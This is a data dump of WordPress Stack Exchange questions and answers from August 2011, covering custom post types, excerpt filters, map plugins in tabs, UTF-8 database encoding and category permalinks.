  <row Id="27037" PostTypeId="1" CreationDate="2011-08-27T11:05:34.770" Score="0" ViewCount="13" Body="&lt;p&gt;I'm using Wordpress as CMS for a news website, and as I want let users to create their own blogs I'v used Wordpress Mu and Buddypress. My goal is to let any registred user to be author in the main site, but as I see buddypress doesn't allow this.&lt;br /&gt;&#xA;I'v tested this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/wpmu-default-user-role/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wpmu-default-user-role/&lt;/a&gt; but I think it doesn't work with buddypress.&#xA;Is the a way to integrate buddypress with wordpress multi authors? So every register user register automaticly in the main site as author with specific role?&#xA;Thanks in advance, and sorry for my bad English.&lt;/p&gt;&#xA;" OwnerUserId="8204" LastActivityDate="2011-08-27T11:05:34.770" Title="How to make users in buddypress as authors in the main site?" Tags="&lt;multisite&gt;&lt;buddypress&gt;" CommentCount="1" />
  <row Id="27038" PostTypeId="2" ParentId="27013" CreationDate="2011-08-27T11:11:28.040" Score="0" ViewCount="" Body="&lt;p&gt;Maybe for the next time, create a question for each topic ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1) Menu Item for Custom Post Type archive&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have an automated solution here. But in my opionion it should be possible to create a similar widget inside the Menu Admin Page to display all Posttypes with an archive and generate a link to it which you than can drag&amp;amp;drop to your desired menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2) Post Template for Custom Taxonomy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you display a term of a custom taxonomy, the default &lt;code&gt;archive.php&lt;/code&gt; template is used. You could use some conditional statements to display content based on the taxonomy or the post type e.g. &lt;code&gt;if(is_tax('YOUR_TAX') || is_post_type_archive('YOUR_POSTTYPE'))&lt;/code&gt;. It should also be possible to use &lt;code&gt;archive-{tax}.php&lt;/code&gt; for a static template file, but haven't tested it with the post type archives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3) Permalink for Custom Taxonomy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During registration, you could set the rewrite parameter. So you could basically generate something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://yourblog.tld/parent/cpt/&amp;lt;post&amp;gt;    &#xA;http://yourblog.tld/parent/cpt/taxonomy/&amp;lt;post&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To do this, you have to register your custom post type first with a special &lt;code&gt;rewrite&lt;/code&gt; parameter. Than you register a new taxonomy object with &lt;code&gt;register_taxonomy_for_object_type&lt;/code&gt; for your custom post type &lt;strong&gt;before&lt;/strong&gt; you register your custom taxonomy. As described by Jan Fabry in a answer here on SE, this is necessary for the correct order of the generated rewrite rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Custom Post Type&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    // your arguments&#xA;    'rewrite' =&amp;gt; array('slug' =&amp;gt; 'parent/cpt', 'with_front' =&amp;gt; false)&#xA;);&#xA;&#xA;register_post_type('YOUR_POSTTYPE', $args);&#xA;register_taxonomy_for_object_type('YOUR_TAXONOMY', 'YOUR_POSTTYPE');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Custom Taxonomy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;   // your arguments&#xA;   'rewrite' =&amp;gt; array('slug' =&amp;gt; 'parent/cpt/taxonomy', 'with_front' =&amp;gt; false)&#xA;)&#xA;&#xA;register_taxonomy('YOUR_TAXONOMY', array(), $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-08-27T11:11:28.040" />
  <row Id="27039" PostTypeId="1" CreationDate="2011-08-27T11:20:56.893" Score="0" ViewCount="25" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12368/changing-notification-emails-from-wordpress-wordpressmydomain-net-to-something&quot;&gt;changing notification emails from WordPress &amp;lt;wordpress&amp;gt;@mydomain.net to something else&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Is there any way to customize &quot;from&quot; email address in 'Password Reset' Notification Email?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are 2 filters (infact 4 filters) to change title/subject and content (Ref: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1251/customizing-the-subject-field-in-wordpress-notification-emails&quot;&gt;Customizing the Subject Field in WordPress&amp;#39; Notification Emails?&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how can I customize &quot;from&quot; email address?&lt;/p&gt;&#xA;" OwnerUserId="4314" LastActivityDate="2011-08-27T11:20:56.893" ClosedDate="2011-08-27T14:26:33.613" Title="Customizing 'from' email address in &quot;Password Reset&quot; Notification Emails send by WordPress" Tags="&lt;plugin-development&gt;&lt;customization&gt;&lt;email&gt;&lt;notifications&gt;" CommentCount="0" />
  <row Id="27040" PostTypeId="1" CreationDate="2011-08-27T12:00:20.917" Score="0" ViewCount="21" Body="&lt;p&gt;I am using MapPress Easy Google Map with the following code in my custom theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   $mymap = new Mappress_Map(array(&quot;width&quot; =&amp;gt; 600,&quot;height&quot; =&amp;gt; 300));&#xA;   $mypoi_1 = new Mappress_Poi(array(&quot;title&quot; =&amp;gt; &quot;DC&quot;, &quot;body&quot; =&amp;gt; &quot;Beautiful Washington, DC&quot;, &quot;point&quot; =&amp;gt; array(&quot;lat&quot; =&amp;gt; 38.90279, &quot;lng&quot; =&amp;gt; -77.037849))); &#xA;   $mypoi_2 = new Mappress_Poi(array(&quot;address&quot; =&amp;gt; &quot;500 chestnut st, phildelphia&quot;));&#xA;   $mypoi_2-&amp;gt;geocode();&#xA;   $mymap-&amp;gt;pois = array($mypoi_1, $mypoi_2);&#xA;   echo $mymap-&amp;gt;display(array(&quot;directions&quot;=&amp;gt;&quot;none&quot;));&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i put this code anywhere in the theme it shows the map as desired. I am using jquery tabs script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;#property-info .tab_content&quot;).hide(); //Hide all content&#xA;jQuery(&quot;#property-info ul.tabs li:first&quot;).addClass(&quot;active&quot;).show(); //Activate first tab&#xA;jQuery(&quot;#property-info .tab_content:first&quot;).show(); //Show first tab content&#xA;&#xA;//On Click Event&#xA;jQuery(&quot;#property-info ul.tabs li&quot;).click(function() {&#xA;    jQuery(&quot;#property-info ul.tabs li&quot;).removeClass(&quot;active&quot;); //Remove any &quot;active&quot; class&#xA;    jQuery(this).addClass(&quot;active&quot;); //Add &quot;active&quot; class to selected tab&#xA;    jQuery(&quot;#property-info .tab_content&quot;).hide(); //Hide all tab content&#xA;    var activeTab = jQuery(this).find(&quot;a&quot;).attr(&quot;href&quot;); //Find the href attribute value to identify the active tab + content&#xA;    jQuery(activeTab).fadeIn(); //Fade in the active ID content&#xA;    return false;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tab for the map is the 2nd one. When I click on it following map outputs as shown in the picture. What is the problem?&#xA;I need it asap. Thanks in advance for any guidance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/mpPZQ.jpg&quot; alt=&quot;Problem Demonstration&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7338" LastActivityDate="2011-08-27T17:19:17.180" Title="MapPress Easy Google Map in Jquery Tabs Problem" Tags="&lt;theme-development&gt;&lt;jquery&gt;&lt;google-maps&gt;" AnswerCount="1" />
  <row Id="27041" PostTypeId="2" ParentId="26915" CreationDate="2011-08-27T12:16:33.337" Score="0" ViewCount="" Body="&lt;p&gt;check this link&#xA;&lt;a href=&quot;http://justintadlock.com/archives/2009/09/10/adding-and-using-custom-user-profile-fields&quot; rel=&quot;nofollow&quot;&gt;Add Custom Fields to User Profile&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7338" LastActivityDate="2011-08-27T12:16:33.337" />
  <row Id="27042" PostTypeId="1" CreationDate="2011-08-27T12:53:28.180" Score="0" ViewCount="8" Body="&lt;p&gt;I would like to know how to create separate page for comments with pagination ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;like archive page or index page &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IE: someone is on my blog and wants to see all comments &lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. &lt;a href=&quot;http://www.wplover.com/comments-central&quot; rel=&quot;nofollow&quot;&gt;http://www.wplover.com/comments-central&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="8185" LastActivityDate="2011-08-27T13:47:54.880" Title="create separate page template for wordpress comments" Tags="&lt;comment&gt;" AnswerCount="1" />
  <row Id="27043" PostTypeId="2" ParentId="27042" CreationDate="2011-08-27T13:47:54.880" Score="0" ViewCount="" Body="&lt;p&gt;That appears to be simply a Page template that outputs the &quot;Recent Comments&quot; Widget for comments and pings, and then (probably) another Widget that displays a list of most-commented Posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If those indeed are Widgets, then you simply need to create a custom Page template, and instead of outputting a Loop, output a &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_widget&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_widget()&lt;/code&gt;&lt;/a&gt; call for each Widget you want to display. e.g. do something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-27T13:47:54.880" />
  <row Id="27044" PostTypeId="1" AcceptedAnswerId="27053" CreationDate="2011-08-27T14:01:44.193" Score="0" ViewCount="23" Body="&lt;p&gt;I am trying to show all posts in each category. I've been searching around and it seems I need to have either the category &lt;code&gt;slug&lt;/code&gt; or &lt;code&gt;term_id&lt;/code&gt; to do so, like the code below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('category_name=MyCategory&amp;amp;showposts=9999'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm currently editing the &lt;code&gt;archive.php&lt;/code&gt; how to get the &lt;code&gt;slug&lt;/code&gt; name?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5031" LastActivityDate="2011-08-27T15:42:25.763" Title="Show all posts in category" Tags="&lt;posts&gt;&lt;categories&gt;&lt;loop&gt;&lt;archive&gt;&lt;slug&gt;" AnswerCount="1" />
  <row Id="27045" PostTypeId="1" CreationDate="2011-08-27T14:04:52.333" Score="0" ViewCount="13" Body="&lt;p&gt;I have a facebook authentication plugin installed. I also have a premium content plugin installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user authenticates with facebook they are logged in as a subscriber.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user signs up for premium content a unique user account is generated, separate from the facebook user account created already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make both plugins share the same information for users? When a user signs up for premium content can they just use the facebook account, or if they are a user with no account just use the facebook authentication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For clarification the reason I am trying to use facebook authentication is because 1:) it is easy for the user, and 2:) my hope is people are not willing to pass on there username and password to others if it is also their facebook login.&lt;/p&gt;&#xA;" OwnerUserId="8206" LastActivityDate="2011-08-27T18:35:39.307" Title="User Data Handling between two plugins" Tags="&lt;plugin-development&gt;&lt;user-access&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="27046" PostTypeId="1" CreationDate="2011-08-27T14:13:06.273" Score="0" ViewCount="12" Body="&lt;p&gt;Im currently trying to make my backend work with multiple languages.&#xA;Im using qTranslate as my translationplugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far i have accomplished a custom optionpage with multilang support. When you click on a different language &lt;em&gt;(in qTranslate on the sidebar)&lt;/em&gt; you will get a new optionpage with prepared option-variables &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;show(option_textarea) -&amp;gt; 'english backend' -&amp;gt; show(option_textarea_en)&#xA;(saving under the same variable possible)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, if i use one of the options in my template im just accessing the option with the current active language &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;give(option_logo) -&amp;gt; 'german page viewing' -&amp;gt; return option_logo_de&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works also works on the widget-page-side. EXCEPT, when im switching my current language in the backend each widget gets the status 'unused' and i have to manually put in the widgets again. The don't exist at the moment for the current active language and are not faved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i need is a fixed widget-editing system that works the same way as my options.&#xA;Someone got any good idea how i can fix it or work around the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2669" LastActivityDate="2011-08-27T14:13:06.273" Title="Seperate backend &quot;Widgets&quot; page for each language" Tags="&lt;widgets&gt;&lt;multi-language&gt;&lt;plugin-qtranslate&gt;" CommentCount="1" />
  <row Id="27047" PostTypeId="1" CreationDate="2011-08-27T14:15:26.713" Score="0" ViewCount="8" Body="&lt;p&gt;What I tried to do is add a canvas tag inside the post and then including the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens is that after about half a second the page has loaded (and the canvas was displaying correctly), the script stops working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The call to getElementById(&quot;canvas_id&quot;) keeps on failing (I tried to call it using the setTimeout function in case of an exception).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparentely the cause is the IntenseDebate plugin. When it loads, the script stops working; also by disabling it I have no problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="8207" LastActivityDate="2011-08-27T14:15:26.713" Title="HTML5 canvas with associated javascript in post or page" Tags="&lt;javascript&gt;&lt;html5&gt;" />
  <row Id="27048" PostTypeId="2" ParentId="18474" CreationDate="2011-08-27T14:25:19.153" Score="0" ViewCount="" Body="&lt;p&gt;Alright, a couple things are an issue here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, in your meta box callback (&lt;code&gt;myplugin_inner_custom_box&lt;/code&gt;), you don't need to globalize post.  WordPress passes the post object as the first argument to that function.  So you'd change it a bit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function myplugin_inner_custom_box( $post ) {&#xA;// blah blah blah&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The ternary statement to get your post meta is unnecessary.  get_post_meta returns an empty string if the given meta key isn't yet set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$met = get_post_meta($post-&amp;gt;ID, 'champ', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, in your saving function, you should probably use update_post_meta instead of add_post_meta.  As it's set now, add_post_meta will continue to add multiple meta values with the same key, which is probably not what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you're going to use &lt;code&gt;$post_id&lt;/code&gt;, which you passed into your saving function in your new updated post meta called rather that $post-&gt;ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function myplugin_save_postdata( $post_id ) {&#xA;    if ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;        return;&#xA;&#xA;    if ( ! isset( $_POST['myplugin_noncename'] ) || ! wp_verify_nonce( $_POST['myplugin_noncename'], plugin_basename( __FILE__ ) ) ) &#xA;        return;&#xA;&#xA;    if ( 'page' == $_POST['post_type'] )&#xA;    {&#xA;     if ( !current_user_can( 'edit_page' ) )&#xA;     return;&#xA;    }&#xA;    else&#xA;    {&#xA;     if ( !current_user_can( 'edit_post' ) )&#xA;         return;&#xA;    }&#xA;&#xA;    if( isset( $_POST['champ'] ) )&#xA;        update_post_meta( $post_id, &quot;champ&quot;, $_POST['champ'] );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your code above, you're saving the meta key with the name 'champ_key' then trying to retrieve it with the key 'champ'.  Can't do that!  Save and grab the post meta with the same key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your code, revised: &lt;a href=&quot;http://pastie.org/2438831&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/2438831&lt;/a&gt; (I took out the add_meta_box to movie call, and the select box, as I don't have a movie post type).&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-27T14:25:19.153" />
  <row Id="27049" PostTypeId="1" AcceptedAnswerId="27051" CreationDate="2011-08-27T14:26:15.707" Score="0" ViewCount="43" Body="&lt;p&gt;I observed a difference between &lt;code&gt;twentyten&lt;/code&gt; and &lt;code&gt;twentyeleven&lt;/code&gt; themes. Let me explain with an example:&#xA;&lt;code&gt;example.com/category/health-beauty/&lt;/code&gt; finds one post containing just a shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use &lt;code&gt;twentyten&lt;/code&gt;, nothing is displayed but in &lt;code&gt;twentyeleven&lt;/code&gt; the shortcode is expanded. Actually this is what I want &lt;code&gt;twentyten&lt;/code&gt; to do as well but the problem is I cannot find any &lt;code&gt;do_shortcode&lt;/code&gt; call in &lt;code&gt;twentyeleven&lt;/code&gt; code. There has to be one. Right?&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2011-08-27T15:39:52.270" Title="do_shortcode() in twentyeleven theme" Tags="&lt;theme-development&gt;&lt;shortcode&gt;&lt;theme-twenty-ten&gt;&lt;theme-twenty-eleven&gt;&lt;do-shortcode&gt;" AnswerCount="2" />
  <row Id="27050" PostTypeId="2" ParentId="27049" CreationDate="2011-08-27T14:29:32.377" Score="0" ViewCount="" Body="&lt;p&gt;In content you don't need to call &lt;code&gt;do_shortcode&lt;/code&gt;, the content is parsed to execute any shortcodes in it. So check the content of the post or page you are on.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-08-27T14:29:32.377" />
  <row Id="27051" PostTypeId="2" ParentId="27049" CreationDate="2011-08-27T15:20:05.150" Score="2" ViewCount="" Body="&lt;p&gt;It looks like twenty ten displays the excerpt on category archives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using manual excerpts, this is an easy fix.  Just add this line of code to your theme's functions.php file.  It tells wordpress to run the excerpt through the do_shortcode function/filter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_excerpt', 'do_shortcode' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're not using manual excerpts, we have to go a little deeper.  The function &lt;code&gt;the_excerpt&lt;/code&gt; only returns the post excerpt empty or not. It doesn't grab parts of the content and throw them in if the excerpt is empty.  Which means that WordPress is hooking into either &lt;code&gt;the_excerpt&lt;/code&gt; or &lt;code&gt;get_the_excerpt&lt;/code&gt; filter somewhere along the way.  in &lt;code&gt;wp-includes/default-filters.php&lt;/code&gt; we find the culprit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'get_the_excerpt', 'wp_trim_excerpt'  );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function grabs parts of the post content, removing shortcodes along the way, and returns it as the excerpt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function wp_trim_excerpt($text) {&#xA;       $raw_excerpt = $text;&#xA;       if ( '' == $text ) {&#xA;          $text = get_the_content('');&#xA;&#xA;          $text = strip_shortcodes( $text );&#xA;&#xA;          $text = apply_filters('the_content', $text);&#xA;         $text = str_replace(']]&amp;gt;', ']]&amp;amp;gt;', $text);&#xA;          $text = strip_tags($text);&#xA;          $excerpt_length = apply_filters('excerpt_length', 55);&#xA;          $excerpt_more = apply_filters('excerpt_more', ' ' . '[...]');&#xA;          $words = preg_split(&quot;/[\n\r\t ]+/&quot;, $text, $excerpt_length + 1, PREG_SPLIT_NO_EMPTY);&#xA;          if ( count($words) &amp;gt; $excerpt_length ) {&#xA;              array_pop($words);&#xA;              $text = implode(' ', $words);&#xA;              $text = $text . $excerpt_more;&#xA;          } else {&#xA;              $text = implode(' ', $words);&#xA;          }&#xA;      }&#xA;      return apply_filters('wp_trim_excerpt', $text, $raw_excerpt);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So we need to remove this default filter and repalce it with our own.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;remove_filter( 'get_the_excerpt', 'wp_trim_excerpt', 10 );&#xA;add_filter( 'get_the_excerpt', 'wpse27049_wp_trim_excerpt', 99, 1 );&#xA;function wpse27049_wp_trim_excerpt( $text )&#xA;{&#xA;    if ( '' == $text ) {&#xA;        $text = get_the_content('');&#xA;        $text = substr( $text, 0, 55 );&#xA;        $excerpt_more = apply_filters( 'excerpt_more', '[...]' );&#xA;        $text = $text . $excerpt_more;&#xA;    }&#xA;    return $text;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could just return the entire content if there's no excerpt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;remove_filter( 'get_the_excerpt', 'wp_trim_excerpt', 10 );&#xA;add_filter( 'get_the_excerpt', 'wpse27049_wp_trim_excerpt', 99, 1 );&#xA;function wpse27049_wp_trim_excerpt( $text )&#xA;{&#xA;    if ( '' == $text ) {&#xA;        $text = get_the_content('');&#xA;    }&#xA;    return $text;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a plugin: &lt;a href=&quot;http://pastie.org/2439045&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/2439045&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6035" LastEditorUserId="6035" LastEditorDisplayName="" LastEditDate="2011-08-27T15:39:52.270" LastActivityDate="2011-08-27T15:39:52.270" CommentCount="1" />
  <row Id="27052" PostTypeId="1" CreationDate="2011-08-27T15:30:33.660" Score="0" ViewCount="17" Body="&lt;p&gt;My daughter is blogging from China. She wants to insert Chinese characters occasionally into her post so that she can explain what these mean. She has a Mac, which lets her type these quickly. When she tried to post them, she got ?? symbols. I checked the blog theme (TwentyEleven) and it's HTML5 and has this tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta charset=&quot;UTF-8&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, she's doing that properly at least. I imagine she'll need some kind of plugin that lets her use a shortcode or something in order to properly display the character. What plugin do you suggest?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I may have needed to turn on UTF-8 setting in MySQL, that it might have been MySQL that was the problem? When you use Fantastico in cPanel to create a blog, it sets the encoding to Latin1 instead of UTF8. So, I had to use phpMyAdmin to find her blog database (difficult -- you have to click wp_options table and see if it's the right blog database). Then, I clicked the SQL tab and pasted the following, then clicked Go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;alter table wp_posts convert to character set utf8 collate utf8_general_ci;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I will report back if this fixes it.&lt;/p&gt;&#xA;" OwnerUserId="13" LastEditorUserId="13" LastEditorDisplayName="" LastEditDate="2011-08-27T15:38:11.340" LastActivityDate="2011-08-28T00:45:31.277" Title="Plugin To Insert Chinese Characters in Posts or Pages" Tags="&lt;plugin-recommendation&gt;&lt;characters&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="27053" PostTypeId="2" ParentId="27044" CreationDate="2011-08-27T15:42:25.763" Score="0" ViewCount="" Body="&lt;p&gt;to get the category slug of the category archive:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat_slug = get_category(get_query_var('cat'))-&amp;gt;slug;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;alternatively, to get the category ID of the category archive:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat_id = get_query_var('cat');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-08-27T15:42:25.763" CommentCount="5" />
  <row Id="27054" PostTypeId="1" AcceptedAnswerId="27059" CreationDate="2011-08-27T16:02:37.070" Score="0" ViewCount="28" Body="&lt;p&gt;I am not here to discuss the efficiency of using categories as the base for permalinks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know in &lt;strong&gt;what file and what line is the code to how Wordpress picks out a category for the permalink if the post is in multiple categories&lt;/strong&gt;. I asked this on IRC a while ago and I can't find the code anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7466" LastActivityDate="2011-08-27T17:20:24.500" Title="how wordpress generates permalinks as /%category%/%post%/" Tags="&lt;categories&gt;&lt;permalinks&gt;" AnswerCount="1" />
  <row Id="27055" PostTypeId="1" CreationDate="2011-08-27T17:04:36.723" Score="-1" ViewCount="12" Body="&lt;p&gt;I am using &lt;a href=&quot;http://wordpress.org/extend/plugins/quick-pagepost-redirect-plugin/&quot; rel=&quot;nofollow&quot;&gt;Quick Page/Post Redirect Plugin&lt;/a&gt; . This plugin successfully redirects post title and permalink to external URL. What I want is that when I type post permalink it do not redirect to external link as long as I clink on permalink title. I want same functionality like &lt;a href=&quot;http://design-newz.com&quot; rel=&quot;nofollow&quot;&gt;DesignNewz&lt;/a&gt; has. Please help me I want this fixed urgently. Thanks!!!&lt;/p&gt;&#xA;" OwnerUserId="8209" LastActivityDate="2011-08-27T17:04:36.723" Title="Wordpress Permalink Problem" Tags="&lt;permalink&gt;" />
  <row Id="27056" PostTypeId="1" CreationDate="2011-08-27T16:42:43.420" Score="0" ViewCount="60" Body="&lt;p&gt;I use a English WordPress package and this is very well. Now, I would like to translate some elements of the blog (like &quot;posted on&quot;, &quot;comments&quot;) etc, but do leave the dashboard interface intact in English. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any mecanism to translate just the site elements?&lt;/p&gt;&#xA;" OwnerUserId="1431" LastEditorUserId="3817" LastEditorDisplayName="" LastEditDate="2011-09-03T13:43:52.163" LastActivityDate="2011-09-03T13:43:52.163" Title="Different Language for Frontend and Backend" Tags="&lt;translation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" />
  <row Id="27057" PostTypeId="1" AcceptedAnswerId="27062" CreationDate="2011-08-27T17:14:05.007" Score="0" ViewCount="19" Body="&lt;p&gt;i don't know what the hell are these spam links on my friend's photo-blog posts! when i publish a post, this texts shown there! what should i do? (sorry for my very bad English)&#xA;blog: &lt;a href=&quot;http://www.bius87.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bius87.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.stack.imgur.com/YdSY3.jpg&quot; rel=&quot;nofollow&quot;&gt;http://i.stack.imgur.com/YdSY3.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8124" LastActivityDate="2011-08-27T17:34:33.250" Title="Auto post Spams on my wordpress blog?" Tags="&lt;posts&gt;&lt;spam&gt;" AnswerCount="1" />
  <row Id="27058" PostTypeId="2" ParentId="27040" CreationDate="2011-08-27T17:19:17.180" Score="0" ViewCount="" Body="&lt;p&gt;Unfortunately there is no easy fix for this, I tried this myself a while ago, and ended up not using any tabs for map rendering since it was the only reliable option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had some success with messing about with CSS but all browsers (and mobile) reacted differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is Google maps computes it's values on page load, there are some hacky solutions here.&#xA;&lt;a href=&quot;http://stackoverflow.com/questions/1428178/problems-with-google-maps-api-v3-jquery-ui-tabs&quot;&gt;http://stackoverflow.com/questions/1428178/problems-with-google-maps-api-v3-jquery-ui-tabs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-27T17:19:17.180" />
  <row Id="27059" PostTypeId="2" ParentId="27054" CreationDate="2011-08-27T17:20:24.500" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;get_permalink&lt;/code&gt; in &lt;code&gt;/wp-includes/link-template.php&lt;/code&gt;, line 80&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-27T17:20:24.500" />
